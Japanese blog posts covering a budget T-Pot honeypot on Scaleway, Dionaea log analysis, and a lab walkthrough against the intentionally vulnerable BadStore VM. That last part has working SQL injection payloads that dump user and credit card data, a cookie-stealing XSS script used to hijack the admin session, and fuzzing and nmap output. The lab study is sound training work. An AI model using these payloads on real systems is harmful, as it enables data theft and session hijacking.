お財布に優しいT-Potの植え方

はじめに

10月末に駆け出した、新米ハニーポッターの秋山です。
この記事は、Honeypot Advent Calendar 2018の13日目の記事です。

今回は、以下のような人を対象として、ハニーポットを低予算で植えるための情報を共有したいと思います(低予算具合は所感です)

なお、今回の対象としているハニーポットは、初心者でも扱いやすそうな(Kibanaでログを手軽にみれる)T-Potとなります。

ハニーポットとの邂逅

セキュリティの勉強をしているときに、ハニーポットを使えばこういう情報(マルウェアの検体/現実の攻撃方法)が収集できるよということを教えてもらった。 大学の時にも単語レベルでは聞いたことあったが、どのようなものかを理解していなかったので、興味本位で触ってみたいと思いました。

実際、ハニーポットからマルウェアの検体収集や、生の攻撃手法の分析ができることから、セキュリティの勉強には最適かなと思い構築するに至りました。

AWSの無料枠もあるし、ハニーポッターに俺はなる!」

お財布問題

と、意気込んでみたはいいものの、この時点ではT-Potを植えること以外は何も考えてなかったため、お金の問題が降りかかる事になるとは思ってもいなかった。

T-Potに関する記事を色々と調べてみると、ほぼ全ての記事でAWS上にT-Potを植えていた。その記事の中では、月額5千円ほどかかる旨が書かれており驚愕する。
にわかに信じられず自分で試算してみたが、やはりそれぐらいの運用費用はかかることが判明した。

なぜそんなに高いのかというと、T-Pot自体が他のハニーポットに比べて高機能(Kibanaによる可視化など)なため、要求するスペックが高いことが問題だった。
AWSだと最低でもt2.mediumタイプが要求されるので、これが高くなる要因だった。

「んー、正直これで一年間運用するのは厳しいな。そもそも妻の許可が出なそうだ!」

空からのお告げ

運用費用の辛さを吐露していたら、友人からあるサービスを紹介された。
AWSである理由がないのであれば、こういうのもあるよと。

www.scaleway.com

今まで全く聞いたことのないサービスだなと思いながら公式ページをのぞいて見たら、凄く安い。

f:id:kyonta1022:20181212231812p:plain

メモリ4GBのプランで 1,028.23 円 AWSで運用するときの 1/5 ぐらいではないか。 余裕を持って1-Lのプランにしたとしても、2,057.75 円 という破格の安さ。

安心するのはまだ早い

安価で使えるVPSサービスが見つかったことはいいが、AWSと比べるとScalewayに関する情報がかなり少ない。ましてや、Scaleway上でのハニーポット構築に関する記事は皆無。

情報が無いなら、手探りで進めばいいやと腹をくくり、いくつかの地雷を踏みぬいていく。

  • t-pot-autoinstallがコケる
  • 1日経たずにディスク容量を使い切る
  • tpotのサービスが不安定
  • 料金体系をちゃんと理解してない恐怖感

安定稼働までの道のり

これらの地雷を踏みぬきながら安定稼働までこぎつけたので、地雷の避け方を綴る。

t-pot-autoinstallがコケる

T-Potのインストーラ t-pot-autoinstall でサクッとインストールする予定が、何故かコケる。

cp: cannot stat '/usr/share/consolefonts/Uni2-Terminus12x6.psf.gz': No such file or directory

consolefontsディレクトリが無いのは何故だろう?と調べてみると、どうやらconsole-setupというものが入っていないとダメらしい。なので事前にこれをインストールしてあげる。

apt-get install console-setup

無事T-Potがインストールされ、この問題は解決する。
(検索ではかからなかったけど、他の人はこの地雷を踏んでないのかな?)

1日経たずにディスク容量を使い切る

T-Potのインストールが無事完了し、Kibanaでログを見ることができるようになった。
のも束の間。1日経たずしてKibanaからの反応が返ってこなくなった。

サーバーにログインして調べて見ると、ディスク使用率が100%になっており、サービス自体が起動できて無い。 そして気になるのが、プランでは200GB割り当てられているはずのディスクサイズが、たったの50GBしか認識されていない。
どうやら、起動時は50GBのディスクのみマウントされているため、残りの150GBのディスクは自分でマウントしないといけないらしい。

How to attach and detach additional volumes to an existing server - Scaleway

上のドキュメントを読みながら150GBをマウントし、この問題も無事解決する。

tpotのサービスが不安定

今度は、何日か経つとKibanaの挙動がおかしくなった。何故だか動かなくなった機能もある。
またもや調査をすると、不可解なログが目に付く。再起動していないのに、毎日再起動しているではないか。
(これは、t-pot-autoinstallがCronに再起動の設定を追加していることが原因だった)

そして、tpotサービスのエラーとして、ハニーポットのログファイルがバックアップできなかったと出ている。

どうやら毎日再起動をかけており、起動時に毎回ログファイルをバックアップしているらしいのだが、手動で再起動などをしたときに、ログファイルのバックアップに失敗することがあるらしく(権限系だったかな)それが原因でサービスが起動できていなかった(起動できたが一部の機能はダメなど)

ので、ここら辺は手動で再起動などをかけなければ特に起こらないため、気をつければ問題なかった。

料金体系をちゃんと理解してない恐怖感

何回か地雷を踏んでいると、クラウドだしインスタンスを削除してクリーンな状態から作り直せばいいや。という精神になり、サーバーインスタンスの破棄を繰り返す。 料金体系を正確に理解していないので、それがどのように課金されるかわかっていない。

なので、ここら辺は料金系のドキュメントを読みながら、10月分請求の実際に請求額から確認して理解した。

  • Scalewayでは、一つのサーバーインスタンスの連続稼働時間が一定時間以上になると、料金が頭打ちとなりそれ以降は定額となる
    • Linux上からRebootした場合は、稼働時間が途切れずに継続した状態であるため、何回やっても大丈夫

逆に、サーバーインスタンスの停止や削除を行なった場合は、その時点までの稼働時間(H)* 単価が請求に乗ってくる(稼働時間はリセットされてしまう)安定稼働したら、このような使い方は避けた方が無難(それでも1時間当たりの料金が安いため、定額制にならなくても結構安い)

Pricing & Billing - Scaleway

安定稼働のその先

サーバー自体が海外にあるため、ネットワークのレスポンスは若干遅いが、普通に使ってる分ではあまり気にならないレベルのため、この値段で安定して運用できるならコストパフォーマンス的には良かったです。 AWSと比較まではいけなかったので、攻撃頻度の違いなどは比較はできなかったですが、攻撃自体はかなり多いので運用するには良さそうです。

Dionaeaのアクセス数

1日分のSuricataアラート

Scaleway上でのT-Pot構築に関する記事

Dionaeaによる初めての生態観察

はじめに

T-Potを植え始めてからかれこれ2週間以上が経過し、サーバーも安定稼働もしてきたので、各ハニーポットの観察方法について調査していこうと思う。最初のターゲットとしては、ハニーポットの中でも人気が高いDionaeaについての観察方法をまとめてみる。Dionaeaを最初のターゲットにした理由としては、収集したマルウェアの保存場所や種類の特定に関する情報は色々と公開されているのだが、攻撃に関するログの見方や、攻撃の再現方法に関しての情報が全然なく、少し苦労したので。(検索方法が悪かったのと、ドキュメントちゃんと読め説はある)

Dionaeaとは

複数のサービスをネットワーク上に公開することにより、攻撃者からマルウェアのコピーを手に入れるための、マルウェア収集用のハニーポットという解釈。もちろん、攻撃に関するログも収集しているため、どのような方法でマルウェアに感染させられたのかを知ることができる。ちなみに、Dionaeaハエトリグサという意味らしい。

Introduction — dionaea 0.8.0 documentation

f:id:kyonta1022:20181107173001p:plain

稼働サービス

知らないサービスもあるが、こんな感じのものが動いている。

観察に利用するデータ

実際に調査してみた中で、このファイルやディレクトリ大事そうだなーと思うものを載せているため、他に大事そうなものがあったとしても調査の中で見なかったものに関しては登場してきません。

攻撃通信の生データ

サーバーへの要求(in)と応答(out)のラベルがついた攻撃通信のバイトデータで、攻撃を再現する場合に利用する。ファイル単独で見ても旨味は少ないので、関連するファイルをまとめて扱う必要がある。

/data/dionaea/bistreams

収集したマルウェア

ゲットだぜ!したマルウェア達の部屋。ファイル名はハッシュ値になっているため、VirusTotal で種類を調べることが可能。

/data/dionaea/binaries

インシデントログ

何によってインシデントと判定されるのかまでは調べきれていないが、インシデントに関する情報が入っている。bistreamsと違い、時系列かつ読みやすい形式で格納されている模様。

/data/dionaea/log/dionaea.sqlite

観察に必要なツールと使い方に関して

T-Potを運用しているサーバーか、いつも使っている端末にセットアップする。今回の環境では、観察に必要なデータをMacに持ってきてからツールを利用した。

# git clone https://github.com/DinoTools/dionaea.git
cd /dionaea/modules/python/util

攻撃の再現方法

bistreamsに格納されているファイルとutilに含まれているretry.pyを使って、攻撃を再現をすることができる。事前にWiresharkなどでパケットをキャプチャしていれば、pcapファイルとしての保存も可能。

オプション 用途
-t bistreamsファイルのコピー先ファイル名
-H Socket通信での接続先IPアドレス(Dionaea稼働サーバーを指定)
-p Socket通信での接続先Port番号(bistreamsファイルと同じPortを指定)
-r 応答パケットを接続先から受信するかのフラグ(outの部分が必要かどうか)
-s 要求パケットを接続先に送信するかのフラグ(inの部分が必要かどうか)
-f 再現するbistreamsファイル

完全に再現させるには-r -sは必須で、対象ホストはハニーポットが稼働しているサーバーにする。

python retry.py -t retrystream -H xx.xx.xx.xx -p 21 -r -s -f ftpd-21-::ffff:yy.yy.yy.yy-54hS7r

使用可能なオプションについてはpython retry.py --helpで確認するといい(コード量が少ないので、詳細を知りたい場合はコードを見るのもあり)

インシデントログの確認

dionaea.sqliteファイルとutilに含まれているreadlogsqltree.pyを使って、インシデントログの確認を行うことができる。

python readlogsqltree.py  /data/dionaea/log/dionaea.sqlite

使用可能なオプションについてはpython readlogsqltree.py --helpで確認するといい。

観察シナリオ

自分なりの観察シナリオをまとめてみる。

インシデントが溜まる

binariesとかにマルウェアが溜まってきたーや、kibanaで見たら結構攻撃きてるなーなど、なんとなくログ溜まってきてそうだなと思うタイミングを調査のトリガーにしてみる。

# cd /data/dionaea/binaries
# ls | wc -l
221

対象のホストを絞り込む

自分はbistreamsディレクトリをサラーっと眺めて、気になるプロトコルや、通信量が多そうなファイル(マルウェアのダウンロードに成功してる)に目星をつけて、ホストを絞り込む。

# cd /data/dionaea/bistreams
# ls -altrh | grep mssqld
-rw------- 1 tpot tpot 1.8K Nov  7 09:13 mssqld-1433-::ffff:58.244.204.125-ozutsX
-rw------- 1 tpot tpot 113K Nov  7 09:14 mssqld-1433-::ffff:58.244.204.125-lXNimU

インシデントログを確認する

いきなりbistreamsのファイルを使って再現するのもあれかなーと思うので、一旦dionaea.sqliteのログから全体像を確認する。

  • 時系列と通信回数の確認
  • わかりやすい形式でログが残っていれば概要を把握する

時系列と通信回数の確認では、一まとまりの攻撃に絞り込むのとbistreamsを再現したときに、どこの通信がインシデントログの一通信に当たるかを紐づけるために確認しています。(数が合わない場合があるのでここは追って調査予定。インシデントとして記録される条件が影響している?)

# python readlogsqltree.py -r ::ffff:58.244.204.125 /data/dionaea/log/dionaea.sqlite

using database located at /data/dionaea/log/dionaea.sqlite
2018-11-07 09:12:08
  connection 21147 mssqld tcp accept ::ffff:xx.xx.xx.xx:1433 <- ::ffff:58.244.204.125:35037 (21147 None)
   login - user:'sa' password:''
   mssql fingerprint - hostname:'AHKJ-WEBSERVICE' cltintname:'Microl office' appname:'ODBC'
   mssql command - status:complete cmd:'exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set arithabort on'
2018-11-07 09:12:09
  connection 21148 mssqld tcp accept ::ffff:xx.xx.xx.xx:1433 <- ::ffff:58.244.204.125:1537 (21148 None)
   login - user:'' password:''
   mssql fingerprint - hostname:'AHKJ-WEBSERVICE' cltintname:'Microl office' appname:'ODBC'
   mssql command - status:complete cmd:'exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set arithabort on'
   mssql command - status:complete cmd:'SELECT @@VERSION '
   mssql command - status:complete cmd:'use master '

以下省略

攻撃を再現させて生データ確認

インシデントのタイムスタンプから2回コネクションが貼られてるなーというのを確認して、時間に若干ズレはあるけどbistreamsの一個めのファイルが2018-11-07 09:12:08のやり取りで、二個目のファイルが2018-11-07 09:12:09だろうなーと推測。

こちらも再生してみる。

$ python retry.py -t retrystream -H xx.xx.xx.xx -p 1433 -r -s -f mssqld-1433-::ffff:58.244.204.125-ozutsX
doing mssqld-1433-::ffff:58.244.204.125-ozutsX
$ python retry.py -t retrystream -H xx.xx.xx.xx -p 1433 -r -s -f mssqld-1433-::ffff:58.244.204.125-lXNimU
doing mssqld-1433-::ffff:58.244.204.125-lXNimU

Wiresharkで見てみると(通信の一部)。 f:id:kyonta1022:20181107200452p:plain

まとめ

と、観察するときにみるべきファイルや、観察の流れについては自分なりに整理できたと思うので、今後これをベースに攻撃方法の理解と、落としていったマルウェアの解析(動的、静的)を行っていけるといいな。(時間が足りれば・・・)

Scaleway上にHoneypot(T-Pot)をインストールする

はじめに

マルウェアとじゃれたり、攻撃者の足跡を観察してみたいと思ったのでハニーポットの運用をしてみることにした。ハニーポットって聞いたことはあるけど使ったことがなかったので、何か簡単にセットアップできてサクッと見れるのないかなーと思っていたら、 T-Pot というお菓子の詰め合わせみたいなものがあったので、それを使ってみることにしました。ただ、 T-Pot は要求するスペックが高い(メモリ4GB以上、DISK64GB以上)

f:id:kyonta1022:20181024000055j:plain

GitHub - dtag-dev-sec/tpotce: T-Pot Universal Installer and T-Pot ISO Creator

※ 2018/10/29 自動的にプロビジョニングする playbook を作成したので、以下の手順を実行しなくても構築可能

github.com

環境選定

ハニーポットを構築するにあたり、VPSの利用か自宅で鯖を立てるかのどちらにしようか悩んだ結果、以下の理由からVPSを使うことにした。

VPSを選んだ理由

  • 賃貸だから固定IPを取るのめんどくさい(申請)
  • T-Potに耐えられるスペックのマシンが一台しかない
  • 固定IP + 電気代を考えるならクラウド使うのと料金変わらなかったりする?
  • 単純に旬のVPS使ってみたい

利用するVPS

当初はAWS一択(それ以外全然知らないし意識してなかった)だったが、友人から安いVPS Scaleway があることを教えてもらい、急遽そちらを使うことにした。 ざっくり料金を見積もるとこんな感じになりそうだったので、お小遣い制の自分からするとどちらを使うべきかは明白。

※ Kibana が重いため最終的には 1-L のタイプ(約2,000円)を利用。

VPS インスタンスタイプ 値段
EC2 t2.mediam 約5,000円
Scaleway Start 1-M 約1,000円

www.scaleway.com

Scaleway利用の流れ

早速 Scaleway を利用してみる。

支払い情報入力

ログイン情報を入力してアカウント作成 f:id:kyonta1022:20181023105059p:plain

同意 f:id:kyonta1022:20181023105115p:plain

メールアドレスの確認 f:id:kyonta1022:20181023105143p:plain

電話番号の入力(この後確認コードが飛んでくる)。81日本 + 090の先頭を削除した 90 から番号を入力する。 f:id:kyonta1022:20181023105321p:plain

最後にクレジットカード(必須)と住所情報を入力して完了(画面違うけど) f:id:kyonta1022:20181023105512p:plain

サーバーインスタンス作成

左上の Create Server ボタンを押してサーバーインスタンス作成画面に飛ぶ。今回はT-Potのスペックを満たす以下のサーバーを選択。ちなみにロケーションは Amsterdam の方がレスポンスが早かった。

f:id:kyonta1022:20181024225833p:plain

OSは Ubuntu 16.04.x(Xenial)を選択

f:id:kyonta1022:20181023110030p:plain

ディスクの選択(ちなみに 150GB volumeが付いてきてるが、サーバーインスタンス起動時はマウントされてない状態なので、別途マウントする必要がある。マウントしないとシステムボリュームの 50GB だけしか使えない)

f:id:kyonta1022:20181024225940p:plain

あとはそのままで、一番下の方にあるlaunchで完了する

f:id:kyonta1022:20181023231534p:plain

アタッチメントされたディスクのマウント

これをやってなかったので、一日立たずに無事死亡しました。なので絶対やりましょう。公式にマウントまでの手順があるので、これを実施する。

How to attach and detach additional volumes to an existing server - Scaleway

fdisk -l で追加でアタッチメントされているディスクを調べる(今回のは /dev/vdb: 139.7 GiB

# fdisk -l
Disk /dev/vda: 46.6 GiB, 50000000000 bytes, 97656250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 217FDD50-4437-4A58-8524-09728E4353CA

Device      Start      End  Sectors  Size Type
/dev/vda1  206848 97656216 97449369 46.5G Linux filesystem
/dev/vda15   2048   206847   204800  100M EFI System

Partition table entries are not in disk order.


Disk /dev/vdb: 139.7 GiB, 150000000000 bytes, 292968750 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

フォーマット

# mkfs -t ext4 /dev/vdb

マウント

# mkdir /data
# mount /dev/vdb /data

再起動してもマウントされるようにする

# vi /etc/systemd/system/data.mount
[Unit]
Description=Mount NDB Volume at boot

[Mount]
What=UUID="a0630171-a6c0-4f61-ab75-caeb55982eb2"
Where=/data
Type=ext4
Options=defaults

[Install]
WantedBy=multi-user.target

リロードと有効化

# systemctl daemon-reload
# systemctl start data.mount
# systemctl enable data.mount

T-Potが使えるようになるまで

ハニーポッターとして、群がってくる奴らを観察できるようにする。

インストール

サーバーにログインする

ssh root@xx.xx.xx.xx

Gitコマンドインストール

apt-get update
apt-get install -y git

console-setup のインストール。これがないと cp: cannot stat '/usr/share/consolefonts/Uni2-Terminus12x6.psf.gz': No such file or directory というエラーがゴール手前で発生する。

apt-get install console-setup

ユーザを追加する(tpotユーザはこの中で使われるため避ける)

# adduser honeypotter
# mkdir /home/honeypotter/.ssh
# cp /home/ubuntu/.ssh/authorized_keys /home/honeypotter/.ssh/
# chown -R honeypotter:honeypotter /home/honeypotter/.ssh

T-Potのインストーラ実行

# git clone https://github.com/dtag-dev-sec/t-pot-autoinstall.git
# cd t-pot-autoinstall
# sudo su
# ./install.sh

T-Potで使用するユーザを尋ねられるので、上で作成したユーザ honeypotter を指定する

Make sure the SSH login for your normal user is working!

Which user do you usually work with? This script is invoked by root, but what is your normal username?
Enter username: honeypotter

インストールタイプの選択

##########################################################
#                                                        #
#     How do you want to proceed? Enter your choice.     #
#                                                        #
#     Required: 4GB RAM, 64GB disk                       #
#     Recommended: 8GB RAM, 128GB SSD                    #
#                                                        #
# 1 - T-Pot's STANDARD INSTALLATION                      #
#     Standard Honeypots, Suricata & ELK                 #
#                                                        #
# 2 - T-Pot's HONEYPOTS ONLY                             #
#     Honeypots only, w/o Suricata & ELK                 #
#                                                        #
# 3 - T-Pot's INDUSTRIAL EDITION                         #
#     Conpot, eMobility, Suricata & ELK                  #
#                                                        #
# 4 - T-Pot's FULL INSTALLATION                          #
#     Everything                                         #
#                                                        #
##########################################################

Your choice: 1

webアクセスするときのパスワード設定を求められるので適当な情報を入力

### Removing NGINX default website. 
### Please enter a password for your user honeypotter for web access. 
Password: xxxx
Repeat password: xxxx
Adding password for user honeypotter

全てのセットアップが正常に終了すると、サーバーが再起動する。

webから状況を観察する

再起動したら以下のURLにアクセスすると、無事 Kibana のUIが表示される。

https://xx.xx.xx.xx:64297

f:id:kyonta1022:20181023234706p:plain

SSHでログインする

ポートが22番から64295に変更されている

ssh root@xx.xx.xx.xx -p 64295

BadStore.netを使った脆弱性調査

WEBアプリ関係の脆弱性調査について一通り勉強したということで、実際にやられサーバーを使って脆弱性調査にチャンレンジしてみる。

環境構築

調査の前に、やられサーバーを構築する。

仮想マシン

BadStoreのisoをダウンロード

以下のサイトからisoをダウンロードする。 www.vulnhub.com

VMware Workstation 12 Playerで仮想マシンを作成

ゲストOS = Linux

バージョン = 他のLinux2.4.xカーネル

f:id:kyonta1022:20180830113813p:plain

仮想マシン起動

仮想マシンのコンソールから、 ifconfigIPアドレスを調べる。

http://192.168.11.6/

f:id:kyonta1022:20180830113521p:plain

外部の端末からアクセスできるようにする

訳あってVMを起動している端末とは別の端末から試みたため、外部からアクセスできるような設定をする。

netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.11.6 connectport=80 connectaddress=192.168.157.132
netsh interface portproxy add v4tov4 listenport=443 listenaddress=192.168.11.6 connectport=443 connectaddress=192.168.157.132
netsh interface portproxy add v4tov4 listenport=3306 listenaddress=192.168.11.6 connectport=3306 connectaddress=192.168.157.132

WEBアプリの脆弱性調査

機能ごとにどんな脆弱性が存在しそうかを調べていく。

全ての画面に出てきている検索機能。検索ボタンを押した瞬間から確実にSQLiが存在していると匂わせる画面。

f:id:kyonta1022:20180830114937p:plain

DB情報収集

わざと失敗させてエラーを吐かせてみる。

'

表示されたエラーから、DBMSMySQLだと判明。

DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' IN (itemnum,sdesc,ldesc)' at line 1 at /usr/local/apache/cgi-bin/badstore.cgi line 207.

次にMySQLのバージョンを取得してみる。

a' = 'a' UNION SELECT VERSION(),2,3,4 #

f:id:kyonta1022:20180830115146p:plain

テーブル名とカラム名の推測

バージョンは、 4.1.7-standard だと判明。調べてみるとこのバージョンでは information_schema は使えないらしい。(5系から使える) information_schemaが使えないということは、テーブル名の一覧などが簡単に取得できなそう。考えた末、とりあえず全体のページ数が少なそうなので、画面から存在しそうなテーブルを推測してみることにした。サラサラと見た感じ、 user 系と item 系の2種類があるのかな?と推測。命名規則的には表示されたSQLから xxxdb という形式なのかなと判断し、試してみる。

a' = 'a' UNION SELECT email,2,3,4 FROM userdb #

ユーザのメールアドレスが取得できた。

f:id:kyonta1022:20180830115306p:plain

他のカラム名もHTML内に存在するページ(http://192.168.11.6/cgi-bin/badstore.cgi?action=loginregister)から推測する。

password => NG

a' = 'a' UNION SELECT password,2,3,4 FROM userdb #

passwd = OK

a' = 'a' UNION SELECT passwd,2,3,4 FROM userdb #

fullname = OK

a' = 'a' UNION SELECT fullname,2,3,4 FROM userdb #

pwdhint = OK

a' = 'a' UNION SELECT pwdhint,2,3,4 FROM userdb #

収集したカラム名を全て表示させてみる。

a' = 'a' UNION SELECT fullname,email,passwd,pwdhint FROM userdb #

SQLiによるユーザ情報抽出

入力エリアのサイズ制限にかかって入力しきれないので、URLを直接指定してGETリクエストを投げる。

http://192.168.11.6/cgi-bin/badstore.cgi?searchquery=a%27+%3D+%27a%27+UNION+SELECT+email%2Cpasswd%2Cfullname%2Cpwdhint+FROM+userdb+%23&action=search&x=0&y=0

f:id:kyonta1022:20180830115410p:plain

ユーザ情報の漏洩を確認することができた。

Guestbook

ホテルなどにあるゲストブックのオンライン版?誰でも書き込める所なので、XSS脆弱性があるとまずいが、XSS脆弱性がありそうだ。

f:id:kyonta1022:20180830115619p:plain

入力可能な文字列の調査

名前、メール、コメントの3項目あるので、とりあえず全ての項目に以下の文字列を入れて投稿してみる。

<>'

ゲストブックを表示する画面のHTMLを確認してみると、そのまま表示されていることが確認できる。

Wednesday, August 29, 2018 at 19:34:06: <B><>'</B> <A HREF=mailto:<>'><>'</A>
<OL><I><>'
</I></OL>
<HR>

XSSを仕掛ける

このサイトで使っているCookieで、どんな情報をXSSで引っこ抜くと悪用できそうかを探していると、 SSOid というやばそうな項目を発見。Single Sign On?試しに自分のアカウントを作成して何度かログインしてみると、毎回同じ値が設定されていたので、ユーザ毎に一意の値が決まっていそう。セッションハイジャックに使えそうな匂いがするので、これを取得する。

ゲストブックへの投稿で以下のスクリプトを仕掛ける。今回は単純に、閲覧した人のSSOidをゲストブックに投稿する。

<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');xhr.send('name=myname&email=xxx@mail&comments='+cookie);</script>
<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');
xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');
xhr.send('name=myname&email=xxx@mail&comments='+cookie);
</script>

adminユーザでゲストブックを閲覧する

XSSを一度踏むためにadminユーザでログインしているが、SQLiで取得したadminのパスワードはmd5でハッシュ化してあるため、以下のオンラインサービスを利用して平文を取得している。

md5.gromweb.com

adminユーザでGuestBookを閲覧すると、以下の内容が自動的に投稿される。

Wednesday, August 29, 2018 at 22:36:52: myname xxx@mail
SSOid=YWRtaW46NWViZTIyOTRlY2QwZTBmMDhlYWI3NjkwZDJhNmVlNjk6TWFzdGVyIFN5c3RlbSBBZG1p

adminとして不正ログイン

chromeの開発者ツールで、Cookie内のSSOidを書き換えると、ユーザ情報が切り替わる。account変更画面からパスワードを勝手に変えてしまい、その後は普通にそのログイン情報を使うのもあり。

f:id:kyonta1022:20180830120212p:plain

Place Order

商品の購入時に、クレジットカード情報を入力する画面がある。ということは、クレジットカード情報も存在するはずなので、それを抜き取ってみる。

f:id:kyonta1022:20180830124941p:plain

SQLiによるクレジットカード情報抽出

色々見ていると order という単語をよく使っているので、購入情報として orderdb が存在するかなと予測して試してみる。カラム名は、クレジットカード入力画面から推測した。

a' = 'a' UNION SELECT ccard,expdate,3,4 FROM orderdb #

案の定クレジットカードの情報が抜き出せた。ユーザとの紐付けはどんなカラムを持っているか推測しきれなかった。

f:id:kyonta1022:20180830125042p:plain

BadStoreサーバー全体の脆弱性調査

WEBアプリ以外の部分で、どのような脆弱性が存在するか調査する。

非公開情報の探索

Wfuzzというファジーツールを使って非公開ディレクトリの探索を行ってみる。 fuzz が何を意味するか知らなかったため調べていると、fuzzとは以下のような意味合いがあるらしい。

「ファジング」とは、検査対象のソフトウェア製品に「ファズ(英名:fuzz)」と呼ばれる問題を引き起こしそうなデータを大量に送り込み、その応答や挙動を監視することで脆弱性を検出する検査手法です。例えば、あるソフトウェア製品に極端に長い文字列や通常用いないような制御コードなどを送り込み、状態を観察します。その結果、予期せぬ異常動作や異常終了、再起動などが発生した場合、このソフトウェア製品の処理に何らかの問題がある可能性が高いと判断できます。このように、ソフトウェア製品(の製品開発者)が想定していないデータを入力し、その挙動から脆弱性を見つけ出す検査手法を「ファジング」と言います。 https://www.ipa.go.jp/files/000057652.pdf

Wfuzzのインストールや使い方に関しては以下。

Wfuzz: The Web fuzzer — Wfuzz 2.1.4 documentation

辞書によるディレクトリ探索

# wfuzz -w common.txt --filter "c=200"  http://192.168.11.6/FUZZ/

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/FUZZ/
Total requests: 950

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000111:  C=200     13 L       48 W      537 Ch    "backup"
000426:  C=200     16 L       72 W      886 Ch    "icons"
000429:  C=200     39 L      256 W     3572 Ch    "images"

Total time: 4.259704
Processed Requests: 950
Filtered Requests: 947
Requests/sec.: 223.0201

--filter をつけることによって、レスポンスが200のものだけに絞っている。backup というディレクトリに対しては、普通に画面を触っているだけでは導線がなかったため、本来は非公開ディレクトリなのだと推測。

辞書によるパラメータ探索

# wfuzz -w common.txt --filter "chars!=4046"  http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ
Total requests: 950

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000060:  C=200    100 L      291 W     4529 Ch    "admin"
000398:  C=200     92 L      283 W     4431 Ch    "guestbook"
000596:  C=200     90 L      249 W     3986 Ch    "order"
000727:  C=200     90 L      274 W     4137 Ch    "search"

Total time: 20.15347
Processed Requests: 950
Filtered Requests: 946
Requests/sec.: 47.13828

ここで考慮したいのが、間違ったアクションを指定しているとトップ画面に飛ばされるため、404などのレスポンスコードは返ってこない。なので、トップ画面の文字数以外のレスポンスが返ってきた場合、正常に受理されたリクエストであると判断するため、 --filter "chars!=4046" を指定している。

action=admin は通常の画面からの導線としては存在しなかったので、非公開ページだと推測。このページは、管理者権限で色々な情報が見れてしまうページだった。

辞書によるページ探索

# wfuzz -w cgis.txt --filter "c=200"  http://192.168.11.6/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.11.6/FUZZ
Total requests: 3295

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000100:  C=200     89 L      221 W     3583 Ch    "./"
002136:  C=200     39 L      256 W     3572 Ch    "images/"
002137:  C=200     39 L      256 W     3572 Ch    "images/?pattern=/etc/*&sort=name"
002064:  C=200     16 L       72 W      886 Ch    "icons/"
000672:  C=200     13 L       48 W      537 Ch    "backup/"
002756:  C=200     15 L       34 W      316 Ch    "robots.txt"
001525:  C=200      4 L       18 W      237 Ch    "cgi-bin/test.cgi"
000005:  C=200     89 L      221 W     3583 Ch    "%2e/"
Total time: 13.89689
Processed Requests: 3295
Filtered Requests: 3287
Requests/sec.: 237.1033

目新しい情報としては、 test.cgi というページ。中身をみると、テストで使用していたユーザ情報的なのが表示されていた。

公開されたデータベースへのログイン

nmapを使って、サーバー上でどのようなサービスが存在するのか確認する。

$ sudo nmap -sS -A 192.168.11.6

Starting Nmap 7.50 ( https://nmap.org ) at 2018-09-09 00:20 JST
Nmap scan report for 192.168.11.6
Host is up (0.0013s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE         VERSION
80/tcp   open  http            Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c
|_http-title: Welcome to BadStore.net v1.2.3s
443/tcp  open  ssl/http        Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c
|_http-title: Welcome to BadStore.net v1.2.3s
| ssl-cert: Subject: commonName=www.badstore.net/organizationName=BadStore.net/stateOrProvinceName=Illinois/countryName=US
| Subject Alternative Name: email:root@badstore.net
| Not valid before: 2006-05-10T12:52:53
|_Not valid after:  2009-02-02T12:52:53
|_ssl-date: 2018-09-09T00:20:26+00:00; +8h59m54s from scanner time.
| sslv2: 
